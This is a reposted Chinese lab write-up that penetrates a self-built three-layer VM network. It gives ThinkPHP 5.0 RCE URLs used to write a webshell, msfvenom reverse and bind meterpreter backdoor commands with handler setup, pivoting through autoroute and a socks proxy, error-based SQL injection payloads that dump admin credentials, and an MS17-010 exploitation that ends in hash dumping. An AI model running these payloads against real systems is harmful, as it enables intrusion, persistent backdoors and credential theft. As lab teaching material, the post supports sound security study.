三层靶机搭建及其内网渗透实战

技术

转载于:http://www.yowell.pw,欢迎关注作者博客。

一 、前言

综合靶场出现的次数越来越多,这种形式的靶场和真实的内网渗透很像,很贴合实际工作,但往往缺少多层网络的练习环境。此次通过虚拟机搭建3层网络,并通过msf进行内网渗透,涉及虚拟机配置,Web漏洞利用,提权,代理搭建,流量转发,端口映射等常见内网渗透技术。

二、靶机系统搭建

本实验环境使用Vmware虚拟机和5个系统搭建完成。网络拓扑图如下图:

首先在虚拟机中新建3块网卡,选择仅主机模式。配

picture.image

网络拓扑图

置如下图:

picture.image

VMnet0,VMnet2,VMnet3个网卡

其中,第一层和第二层设置两个网卡,第三层设置一个网卡,攻击机为Window10 和Kali系统。渗透目标为攻陷各层的系统并且拿下最终的系统权限。

三、第一层靶机渗透

3.1、获取Webshell

我们先使用攻击机KALI(192.168.1.12)探测第一层网络环境,这里使用nmap扫描整个网段:

picture.image

nmap扫描结果

我们发现第一层网络(192.168.1.11)的IP。开始扫描开放的端口:

nmap -sT -T4 192.168.1.11

picture.image

目标机器开放端口情况

首先看一下80端口,发现ThinkPHP 5.0版本。

picture.image

已经知道了版本号为V5.0,然后去exploit-db上搜索响应漏洞,发现存在两个远程代码执行漏洞。

picture.image

exploit-db

漏洞POC:

http://192.168.1.11/index.php?s=index/\think\app/invokefunction&function=call\_user\_func\_array&vars[0]=system&vars[1][]=ls

因此我们执行代码上传Webshell:

http://192.168.1.11/index.php?s=/index/\think\app/invokefunction&function=call\_user\_func\_array&vars[0]=system&vars[1][]=echo "" > yowell.php

上传后发现不能成功连接Webshell,经过多次尝试后发现系统屏蔽了“$_POST”关键字。因此考虑使用base加密后的Webshell进行上传

http://192.168.1.11/index.php?s=/index/\think\app/invokefunction&function=call\_user\_func\_array&vars[0]=system&vars[1][]=echo " > yowell.php // 密码为door

成功连接蚁剑。

picture.image

3.2 上传MSF后门

首先查看版本信息uname -an,发现是64位linux系统。通过msfvenom制作linux TCP反向连接后门。这里的palyload使用linux/x64/meterpreter/reverse_tcp。

picture.image

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=6789 -f elf >yowell.elf

生成后门程序后通过蚁剑上传至服务器,并且更改执行权限

chmod +x yowell.elf

MSF获取监听:

root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.12
msf5 exploit(multi/handler) > set lport 6789
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run

picture.image

msf

成功获取到第一层靶机的SHELL。查看网卡情况

picture.image

发现有192.168.22.0/24 网段。

为了在KALI 中访问此网段,因此进行设置代理。

首先添加第二层的路由:

run autoroute -s 192.168.22.0/24

picture.image

在MSF中添加代理,以便让攻击机访问靶机2,这里使用socks4代理:

picture.image

使用MSF模块扫描端口:

picture.image

发现192.168.22.22是第二层靶机IP。扫描开放端口情况

picture.image

配置proxychain.conf

vim /etc/proxychains.conf

加入新设置的代理,这样就可以通过proxychain3 通过代理进行操作。

socks4 192.168.1.12 1080

picture.image

例如扫描第二层端口也可以用nmap。

proxychains3 nmap -Pn -sT 192.168.22.22

-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

四、第二层靶机渗透

由于同样开放了80端口,所以进网站看一下,这里需要给firefox设置socks代理。

picture.image

3.1、80端口信息搜集

picture.image

源码中存在hint

picture.image

robots.txt中存在敏感目录

3.2 漏洞挖掘

由于之前的hint是存在SQL注入漏洞,经过多次尝试发现是报错注入漏洞:

payload:

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group\_concat(schema\_name)%20from%20information\_schema.schemata)))%23

picture.image

数据库名为:bagecms

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group\_concat(table\_name)%20from%20information\_schema.tables%20where%20table\_schema=%22bagecms%22)))%23

picture.image

表名为:bage_ad,bage_admin,bage_admin_g

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group\_concat(column\_name)%20from%20information\_schema.columns%20where%20table\_name=%22bage\_admin%22)))%23

picture.image

字段名为:username,password,realname

picture.image

picture.image

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group\_concat(username,password)%20from%20bage\_admin)))%23

管理员用户名admin,密码46f94c8de14fb36680850768ff1b7f2

发现md5因该为32位,然而只爆出了31位,应该是显示不完全,因此使用substring函数爆出最后一位。

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20substring(password,32)%20from%20bage\_admin)))%23

picture.image

最终解密为:123qwe

picture.image

接下来利用robots.txt中的后台成功登录。

picture.image

在模板中可以修改php文件,因此这时候上传webshell。但是上传一句话木马后。蚁剑一直显示未知错误。

因此换种思路,想到KALI下还有一个生成webshell的weevely。

picture.image

将代码复制到主页php文件中。但是连接的时候依旧不稳定。

继续换思路,直接使用msfvenom的payload 拿shell

首先生成phppayload

msfvenom -p php/meterpreter/bind_tcp LPORT=3344 -f raw > msfyowell.php

注意:由于msf添加的路由全为正向连接,即我们可以访问到靶机但靶机不能反向访问到我们,所以在选择msf马的payload时,不选择reverse_tcp反向连接payload,而是选择bind_tcp正向连接payload,bind_tcp不需要设置请求的ip,会在目标主机开启一个端口,然后我们攻击机去访问目标主机的端口即可攻陷

picture.image

上传至主页,然后使用msf进行监听:

picture.image

运行程序,拿到webshell。

picture.image

由于此webshell因为网站程序的timeout ,shell也会随之关闭。因此我们换成MSFSHELL。首先生成elf 后门程序。通过webshell上传至服务器并且修改权限。

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4321 -f elf > msfyowell.elf

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST 192.168.22.22
msf5 exploit(multi/handler) > set LPORT 4321
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run

picture.image

3.3 设置代理

从靶机中可以看出第三层网段为192.168.33.0/24

添加路由,同第一层靶机方法。

run autoroute -s 192.168.33.0/24

run autoroute -p

picture.image

四、第三层靶机渗透

4.1、信息搜集

对第三层靶机进行ip搜寻以及端口扫描

picture.image

从中可知第三层靶机ip为192.168.33.23

picture.image

picture.image

发现开放了135,139,445,3389端口。

4.2漏洞利用

考虑ms17-010漏洞,使用MSF进行尝试:

picture.image

成功拿到权限。

picture.image

查看用户及密码hash。

picture.image

picture.image

获取到管理员密码。

picture.image

设置代理,并连接通过WINDOW10机器的sockscap连接3389端口。

picture.image

picture.image

渗透完成!

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
湖仓一体加速引擎 Bolt 及在 LAS 的应用实践
Spark、Presto等引擎原Java执行的性能优化进入瓶颈期,而基于向量化和编译优化的native引擎,可获两倍性能加速比,降低资源成本。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论